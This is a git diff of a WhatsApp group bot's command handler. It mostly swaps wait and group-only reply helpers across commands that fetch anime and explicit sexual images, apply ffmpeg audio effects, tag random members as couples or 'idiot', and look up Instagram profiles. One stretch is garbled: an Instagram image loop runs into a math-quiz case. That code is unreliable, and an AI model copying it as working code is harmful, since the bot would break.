JSON.parse(fs.readFileSync('./HostMedia/nsfw/zettai.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'gifblowjob': -if (!m.isGroup) return XeonStickGroup() +if (!m.isGroup) return reply(mess.only.group) if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +reply(mess.wait) let assss = await axios.get ("https://api.waifu.pics/nsfw/blowjob") var bobuff = await fetchBuffer(assss.data.url) var bogif = await buffergif(bobuff) @@ -5446,18 +16679,18 @@ XeonStickWait() }) break case 'gifhentai': -if (!m.isGroup) return XeonStickGroup() +if (!m.isGroup) return reply(mess.only.group) if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/gifs.json')) var xeonyresultx = pickRandom(ahegaonsfw) await XeonBotInc.sendMessage(m.chat,{video:xeonyresultx, gifPlayback:true },{quoted:m}).catch(err => { }) break case 'gifs': case 'foot': { -if (!m.isGroup) return XeonStickGroup() +if (!m.isGroup) return reply(mess.only.group) if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +reply(mess.wait) let heyy let yeha = heyy[Math.floor(Math.random() * heyy.length)] if (/gifs/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/gifs.json') @@ -5466,392 +16699,402 @@ XeonBotInc.sendMessage(m.chat, { image: { url: yeha }, caption : mess.success }, } break case 'animeawoo':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/awoo`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animemegumin':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/megumin`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animeshinobu':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/shinobu`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animehandhold':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/handhold`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animehighfive':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/highfive`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animecringe':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/cringe`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animedance':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/dance`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animehappy':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/happy`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animeglomp':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/glomp`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animesmug':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/smug`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animeblush':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/blush`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animewave':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/wave`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animesmile':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/smile`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animepoke':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/poke`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animewink':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/wink`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animebonk':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/bonk`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animebully':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/bully`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animeyeet':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/yeet`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animebite':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/bite`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animelick':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/lick`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animekill':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/kill`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animecry':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/cry`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animewlp':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/wallpaper`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animekiss':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/kiss`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animehug':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/hug`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break + +case 'couplepp': case 'ppcouple': { +reply(mess.wait) +let anucpp = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/main/couple.json') +let random = anucpp[Math.floor(Math.random() * anucpp.length)] +XeonBotInc.sendMessage(m.chat, { image: { url: random.male }, caption: `Couple Male` }, { quoted: m }) +XeonBotInc.sendMessage(m.chat, { image: { url: random.female }, caption: `Couple Female` }, { quoted: m }) + } + break + case 'animeneko':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/sfw/neko`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animepat':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/pat`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animeslap':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/slap`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animecuddle':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/cuddle`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animewaifu':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/waifu`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animenom':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/nom`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animefoxgirl':{ -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/fox_girl`) await XeonBotInc.sendMessage(m.chat, { image: { url:waifudd.data.url} , caption: mess.success}, { quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animetickle': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/tickle`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animegecg': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/gecg`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'dogwoof': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/woof`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case '8ballpool': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/8ball`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'goosebird': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/goose`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animefeed': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/feed`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'animeavatar': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/avatar`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'lizardpic': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/lizard`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'catmeow': { -XeonStickWait() +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/meow`) await XeonBotInc.sendMessage(m.chat, {image: {url:waifudd.data.url}, caption: mess.success},{ quoted:m }).catch(err => { - return('Error!') - }) - } +return('Error!') +}) +} break case 'igemoji': case 'instagramemoji': if (!q) return replygcxeon("Enter emoji, maximum 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "11") break case 'iphoneemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "0") break case 'googleemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "1") break case 'samsungemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "2") break case 'microsoftemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "3") break case 'whatsappemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "4") break case 'twitteremoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "5") break case 'facebookemoji': case 'fbemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "6") break case 'skypeemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "7") break case 'joyemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "8") break case 'mojiemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "9") case 'pediaemoji': if (!q) return replygcxeon("Enter emoji, max 1 emoji, eg?" + ` ${prefix + command} ๐Ÿ˜€`) -XeonStickWait() +reply(mess.wait) emote(q, "10") break case 'emoji': { @@ -5927,37 +17170,37 @@ if (!text) return replygcxeon(`Where is the link?`) } break case 'bass': case 'blown': case 'deep': case 'earrape': case 'fast': case 'fat': case 'nightcore': case 'reverse': case 'robot': case 'slow': case 'smooth': case 'squirrel': - try { - let set - if (/bass/.test(command)) set = '-af equalizer=f=54:width_type=o:width=2:g=20' - if (/blown/.test(command)) set = '-af acrusher=.1:1:64:0:log' - if (/deep/.test(command)) set = '-af atempo=4/4,asetrate=44500*2/3' - if (/earrape/.test(command)) set = '-af volume=12' - if (/fast/.test(command)) set = '-filter:a "atempo=1.63,asetrate=44100"' - if (/fat/.test(command)) set = '-filter:a "atempo=1.6,asetrate=22100"' - if (/nightcore/.test(command)) set = '-filter:a atempo=1.06,asetrate=44100*1.25' - if (/reverse/.test(command)) set = '-filter_complex "areverse"' - if (/robot/.test(command)) set = '-filter_complex "afftfilt=real=\'hypot(re,im)*sin(0)\':imag=\'hypot(re,im)*cos(0)\':win_size=512:overlap=0.75"' - if (/slow/.test(command)) set = '-filter:a "atempo=0.7,asetrate=44100"' - if (/smooth/.test(command)) set = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"' - if (/squirrel/.test(command)) set = '-filter:a "atempo=0.5,asetrate=65100"' - if (/audio/.test(mime)) { - XeonStickWait() - let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) - let ran = getRandom('.mp3') - exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => { - fs.unlinkSync(media) - if (err) return replygcxeon(err) - let buff = fs.readFileSync(ran) - XeonBotInc.sendMessage(m.chat, { audio: buff, mimetype: 'audio/mpeg' }, { quoted : m }) - fs.unlinkSync(ran) - }) - } else replygcxeon(`Reply to the audio you want to change with a caption *${prefix + command}*`) - } catch (e) { - replygcxeon(e) - } - break - case 'define': +try { +let set +if (/bass/.test(command)) set = '-af equalizer=f=54:width_type=o:width=2:g=20' +if (/blown/.test(command)) set = '-af acrusher=.1:1:64:0:log' +if (/deep/.test(command)) set = '-af atempo=4/4,asetrate=44500*2/3' +if (/earrape/.test(command)) set = '-af volume=12' +if (/fast/.test(command)) set = '-filter:a "atempo=1.63,asetrate=44100"' +if (/fat/.test(command)) set = '-filter:a "atempo=1.6,asetrate=22100"' +if (/nightcore/.test(command)) set = '-filter:a atempo=1.06,asetrate=44100*1.25' +if (/reverse/.test(command)) set = '-filter_complex "areverse"' +if (/robot/.test(command)) set = '-filter_complex "afftfilt=real=\'hypot(re,im)*sin(0)\':imag=\'hypot(re,im)*cos(0)\':win_size=512:overlap=0.75"' +if (/slow/.test(command)) set = '-filter:a "atempo=0.7,asetrate=44100"' +if (/smooth/.test(command)) set = '-filter:v "minterpolate=\'mi_mode=mci:mc_mode=aobmc:vsbmc=1:fps=120\'"' +if (/squirrel/.test(command)) set = '-filter:a "atempo=0.5,asetrate=65100"' +if (/audio/.test(mime)) { +reply(mess.wait) +let media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +let ran = getRandom('.mp3') +exec(`ffmpeg -i ${media} ${set} ${ran}`, (err, stderr, stdout) => { +fs.unlinkSync(media) +if (err) return replygcxeon(err) +let buff = fs.readFileSync(ran) +XeonBotInc.sendMessage(m.chat, { audio: buff, mimetype: 'audio/mpeg' }, { quoted : m }) +fs.unlinkSync(ran) +}) +} else replygcxeon(`Reply to the audio you want to change with a caption *${prefix + command}*`) +} catch (e) { +replygcxeon(e) +} +break +case 'define': if (!q) return replygcxeon(`What do you want to define?`) try { targetfine = await axios.get(`http://api.urbandictionary.com/v0/define?term=${q}`) @@ -5976,65 +17219,65 @@ const reply = ` return replygcxeon(`*${q}* isn't a valid text`) } break - case 'can': { +case 'can': { if (!text) return replygcxeon(`Ask question\n\nExample : ${prefix + command} i dance?`) let bisa = [`Can`,`Can't`,`Cannot`,`Of Course You Can!!!`] - let keh = bisa[Math.floor(Math.random() * bisa.length)] - let jawab = `*Can ${text}*\nAnswer : ${keh}` +let keh = bisa[Math.floor(Math.random() * bisa.length)] +let jawab = `*Can ${text}*\nAnswer : ${keh}` await replygcxeon(jawab) } break case 'is': { if (!text) return replygcxeon(`Ask question\n\nExample : ${prefix + command} she virgin?`) let apa = [`Yes`, `No`, `It Could Be`, `Thats right`] - let kah = apa[Math.floor(Math.random() * apa.length)] - let jawab = `*Is ${text}*\nAnswer : ${kah}` +let kah = apa[Math.floor(Math.random() * apa.length)] +let jawab = `*Is ${text}*\nAnswer : ${kah}` await replygcxeon(jawab) } break case 'when': { if (!text) return replygcxeon(`Ask question\n\nExample : ${prefix + command} will i get married?`) let kapan = ['5 More Days', '10 More Days', '15 More Days','20 More Days', '25 More Days','30 More Days','35 More Days','40 More Days','45 More Days','50 More Days','55 More Days','60 More Days','65 More Days','70 More Days','75 More Days','80 More Days','85 More Days','90 More Days','100 More Days','5 Months More', '10 Months More', '15 Months More','20 Months More', '25 Months More','30 Months More','35 Months More','40 Months More','45 Months More','50 Months More','55 Months More','60 Months More','65 Months More','70 Months More','75 Months More','80 Months More','85 Months More','90 Months More','100 Months More','1 More Year','2 More Years','3 More Years','4 More Years','5 More Years','Tomorrow','The Day After Tomorrow'] - let koh = kapan[Math.floor(Math.random() * kapan.length)] - let jawab = `*${command} ${text}*\nAnswer : ${koh}` +let koh = kapan[Math.floor(Math.random() * kapan.length)] +let jawab = `*${command} ${text}*\nAnswer : ${koh}` await replygcxeon(jawab) } break case 'what': { if (!text) return replygcxeon(`Ask question\n\nExample : ${prefix + command} is your name?`) let lel = [`Ask Your Gf`, `I Dont Know`, `I Don't Know, Ask Your Father`] - let kah = lel[Math.floor(Math.random() * lel.length)] - let jawab = `*What ${text}*\nAnswer : ${kah}` +let kah = lel[Math.floor(Math.random() * lel.length)] +let jawab = `*What ${text}*\nAnswer : ${kah}` await replygcxeon(jawab) } break case 'where': { if (!text) return replygcxeon(`Ask question\n\nExample : ${prefix + command} is your name?`) let wherelol = [`In the mountain`, `On mars`, `On moon`,`In the jungle`,`I dont know ask your mom`,`It could be somewhere`] - let kah = wherelol[Math.floor(Math.random() * wherelol.length)] - let jawab = `*Whwre ${text}*\nAnswer : ${kah}` +let kah = wherelol[Math.floor(Math.random() * wherelol.length)] +let jawab = `*Whwre ${text}*\nAnswer : ${kah}` await replygcxeon(jawab) } break case 'how': { if (!text) return replygcxeon(`Ask question\n\nExample : ${prefix + command} to date girl?`) let gimana = [`Ummm...`, `It's Difficult Bro`, `Sorry Bot Can't Answer`, `Try Searching On Google`,`Holy Cow! Really???`,`Dizzy Ah๐Ÿ˜ด, don't wanna answer`,`Ohhh I See:(`,`The Patient, Boss:(`,`Really dude ๐Ÿ™„`] - let kah = gimana[Math.floor(Math.random() * gimana.length)] - let jawab = `*How ${text}*\nAnswer : ${kah}` +let kah = gimana[Math.floor(Math.random() * gimana.length)] +let jawab = `*How ${text}*\nAnswer : ${kah}` await replygcxeon(jawab) } break case 'rate': { if (!text) return replygcxeon(`Example : ${prefix + command} my profile`) let ra = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40','41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60','61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80','81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'] - let kah = ra[Math.floor(Math.random() * ra.length)] - let jawab = `*Rate ${text}*\nAnswer : ${kah}%` +let kah = ra[Math.floor(Math.random() * ra.length)] +let jawab = `*Rate ${text}*\nAnswer : ${kah}%` await replygcxeon(jawab) } break case 'runtime': { let lowq = `*The Bot Has Been Online For:*\n*${runtime(process.uptime())}*` - replygcxeon(lowq) +replygcxeon(lowq) } break case 'stupidcheck':case 'uncleancheck': @@ -6048,8 +17291,9 @@ const okebnh1 =['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15 const xeonkak = okebnh1[Math.floor(Math.random() * okebnh1.length)] XeonBotInc.sendMessage(m.chat, { text: xeonkak }, { quoted: m }) break - case 'soulmate': { - if (!m.isGroup) return XeonStickGroup() + case 'jodoh': + case 'jodohku': { + if (!m.isGroup) return reply(mess.only.group) let member = participants.map(u => u.id) let me = m.sender let jodoh = member[Math.floor(Math.random() * member.length)] @@ -6074,7 +17318,7 @@ isForwarded: true, } break case 'couple': { - if (!m.isGroup) return XeonStickGroup() + if (!m.isGroup) return reply(mess.only.group) let member = participants.map(u => u.id) let orang = member[Math.floor(Math.random() * member.length)] let jodoh = member[Math.floor(Math.random() * member.length)] @@ -6097,33 +17341,33 @@ isForwarded: true, { quoted: m}) } break - case 'coffee': case 'kopi': { - XeonBotInc.sendMessage(m.chat, {caption: mess.success, image: { url: 'https://coffee.alexflipnote.dev/random' }}, { quoted: m }) + case 'coffee': case 'kopi': { +XeonBotInc.sendMessage(m.chat, {caption: mess.success, image: { url: 'https://coffee.alexflipnote.dev/random' }}, { quoted: m }) } break case 'wallpaper': { - if (!text) return replygcxeon('Enter Query Title') - XeonStickWait() +if (!text) return replygcxeon('Enter Query Title') +reply(mess.wait) let { wallpaper } = require('./lib/scraper') - anuwallpep = await wallpaper(text) - result = anuwallpep[Math.floor(Math.random() * anuwallpep.length)] - XeonBotInc.sendMessage(m.chat, {caption: `${themeemoji} Title : ${result.title}\n${themeemoji} Category : ${result.type}\n${themeemoji} Detail : ${result.source}\n${themeemoji} Media Url : ${result.image[2] || result.image[1] || result.image[0]}`, image: { url: result.image[0] }} , { quoted: m }) +anuwallpep = await wallpaper(text) +result = anuwallpep[Math.floor(Math.random() * anuwallpep.length)] +XeonBotInc.sendMessage(m.chat, {caption: `${themeemoji} Title : ${result.title}\n${themeemoji} Category : ${result.type}\n${themeemoji} Detail : ${result.source}\n${themeemoji} Media Url : ${result.image[2] || result.image[1] || result.image[0]}`, image: { url: result.image[0] }} , { quoted: m }) } break case 'wikimedia': { - if (!text) return replygcxeon('Enter Query Title') - XeonStickWait() +if (!text) return replygcxeon('Enter Query Title') +reply(mess.wait) let { wikimedia } = require('./lib/scraper') - let anumedia = await wikimedia(text) - result = anumedia[Math.floor(Math.random() * anumedia.length)] - XeonBotInc.sendMessage(m.chat, {caption: `${themeemoji} Title : ${result.title}\n${themeemoji} Source : ${result.source}\n${themeemoji} Media Url : ${result.image}`, image: { url: result.image }} , { quoted: m }) +let anumedia = await wikimedia(text) +result = anumedia[Math.floor(Math.random() * anumedia.length)] +XeonBotInc.sendMessage(m.chat, {caption: `${themeemoji} Title : ${result.title}\n${themeemoji} Source : ${result.source}\n${themeemoji} Media Url : ${result.image}`, image: { url: result.image }} , { quoted: m }) } break case 'pick': { - if (!m.isGroup) return XeonStickGroup() + if (!m.isGroup) return reply(mess.only.group) if (!text) return replygcxeon(`What do you want to pick?\nExample: ${prefix + command} idiot`) const groupMetadata = m.isGroup ? await XeonBotInc.groupMetadata(m.chat) - .catch((e) => {}) : "" + .catch((e) => {}) : "" const participants = m.isGroup ? await groupMetadata.participants : "" let member = participants.map((u) => u.id) let me = m.sender @@ -6148,13 +17392,7 @@ mentionedJid:[xeonshimts], }, { quoted: m }) } break - case "igvid": case "instavid": { -if (!text) return replygcxeon(`Where is the link?\n\nExample : ${prefix + command} https://www.instagram.com/reel/Ctjt0srIQFg/?igshid=MzRlODBiNWFlZA==`) -XeonStickWait() -let resxeonyinsta = await XeonInstaMp4(text) -const gha1 = await XeonBotInc.sendMessage(m.chat,{video:{url: resxeonyinsta.url[0].url},caption: mess.success},{quoted:m}) -} -break + case 'igstalk': { if (!args[0]) return replygcxeon(`Enter Instagram Username\n\nExample: ${prefix + command} unucorn_xeon13`) const fg = require('api-dylux') @@ -6178,23 +17416,31 @@ const fg = require('api-dylux') break case "igimg": case "instaimg": { if (!text) return replygcxeon(`Where is the link?\n\nExample : ${prefix + command} https://www.instagram.com/p/Cs8x1ljt_D9/?igshid=MzRlODBiNWFlZA==`) -XeonStickWait() +reply(mess.wait) const risponsxeon = await XeonIgImg(text) for (let i=0;i { - kuismath[m.sender.split('@')[0]] = result.jawaban - }) - await sleep(result.waktu) - if (kuismath.hasOwnProperty(m.sender.split('@')[0])) { - console.log("Answer: " + result.jawaban) - replygcxeon("Time has run out\nAnswer: " + kuismath[m.sender.split('@')[0]]) - delete kuismath[m.sender.split('@')[0]] - } +if (kuismath.hasOwnProperty(m.sender.split('@')[0])) return replygcxeon("Masih Ada Sesion Yang Belum Di Selesaikan.") +let { genMath, modes } = require('./lib/math') +if (!text) return replygcxeon(`Mode: ${Object.keys(modes).join(' | ')}\npilih example: ${prefix}math medium`) +let result = await genMath(text.toLowerCase()) +XeonBotInc.sendText(m.chat, `*What is the result of: ${result.soal.toLowerCase()}*?\n\nTime: ${(result.waktu / 1000).toFixed(2)} second`, m).then(() => { +kuismath[m.sender.split('@')[0]] = result.jawaban +}) +await sleep(result.waktu) +if (kuismath.hasOwnProperty(m.sender.split('@')[0])) { +console.log("Answer: " + result.jawaban) +replygcxeon("Time has run out\nAnswer: " + kuismath[m.sender.split('@')[0]]) +delete kuismath[m.sender.split('@')[0]] +} } break - case 'lyrics': { + case 'lyrics': + case 'lirik': { if (!text) return replygcxeon(`What lyrics you looking for?\nExample usage: ${prefix}lyrics Thunder`) -XeonStickWait() +reply(mess.wait) const { lyrics, lyricsv2 } = require('@bochilteam/scraper') const result = await lyricsv2(text).catch(async _ => await lyrics(text)) replygcxeon(` -*Title :* ${result.title} +*Judul :* ${result.title} *Author :* ${result.author} -*Url :* ${result.link} +*Link :* ${result.link} *Lyrics :* ${result.lyrics} @@ -6328,26 +17546,26 @@ replygcxeon(` } break case 'gdrive': { - if (!args[0]) return 